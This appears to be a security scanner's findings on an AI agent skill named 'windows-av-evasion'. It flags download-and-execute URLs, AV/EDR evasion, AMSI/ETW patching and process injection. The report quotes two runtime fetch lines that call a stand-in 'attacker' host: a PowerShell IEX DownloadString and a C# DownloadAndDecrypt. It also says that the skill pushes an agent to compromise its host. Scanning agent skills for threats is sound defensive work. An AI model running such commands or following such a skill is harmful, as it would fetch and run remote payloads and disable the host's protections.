windows-av-evasion

CRITICAL E005: Suspicious download URL detected in skill instructions.

• Suspicious download URL detected (high risk: 1.00). Both URLs are direct links to an encrypted payload and a PowerShell script hosted on an untrusted "attacker" domain and are explicitly referenced in the skill to download and execute payloads (typical malware distribution patterns).

CRITICAL E006: Malicious code pattern detected in skill scripts.

• Malicious code pattern detected (high risk: 1.00). This content is a clearly malicious, detailed playbook for evading AV/EDR and executing/loading arbitrary payloads (shellcode, remote assemblies), including code to disable security features, perform process injection, and load remote payloads.

MEDIUM W012: Unverifiable external dependency detected (runtime URL that controls agent).

• Potentially malicious external URL detected (high risk: 1.00). Two explicit runtime fetches that download and execute remote payloads are present: PowerShell IEX DownloadString('http://attacker/payload.ps1') and C# DownloadAndDecrypt("https://attacker/tool.enc"), which fetch remote code used at runtime.

MEDIUM W013: Attempt to modify system services in skill instructions.

• Attempt to modify system services in skill instructions detected (high risk: 1.00). This skill explicitly instructs bypassing security mechanisms and modifying system state (AMSI/ETW patching, process injection, writing/overwriting ntdll, shellcode execution, staging encrypted payloads), which directly pushes an agent to compromise the host.